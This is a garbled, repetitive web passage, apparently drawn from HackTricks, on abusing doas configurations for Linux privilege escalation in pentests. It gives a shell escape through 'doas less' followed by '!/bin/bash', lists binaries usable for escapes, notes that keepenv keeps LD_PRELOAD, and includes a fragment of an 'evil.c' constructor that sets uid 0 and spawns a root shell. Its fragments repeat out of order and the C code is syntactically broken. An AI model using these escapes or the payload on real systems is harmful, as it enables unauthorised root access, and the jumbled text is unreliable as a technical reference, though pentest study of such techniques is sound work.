Hacktricks Doas -
permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.
cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples: hacktricks doas
In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf permit user1 as root cmd /usr/bin/less doas less
— HackTricks Want more? Check out the HackTricks Linux Privilege Escalation guide for deeper dives. doas was originally from OpenBSD
permit nopass user1 as root cmd /usr/bin/* Try:
// evil.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() setuid(0); setgid(0); system("/bin/bash");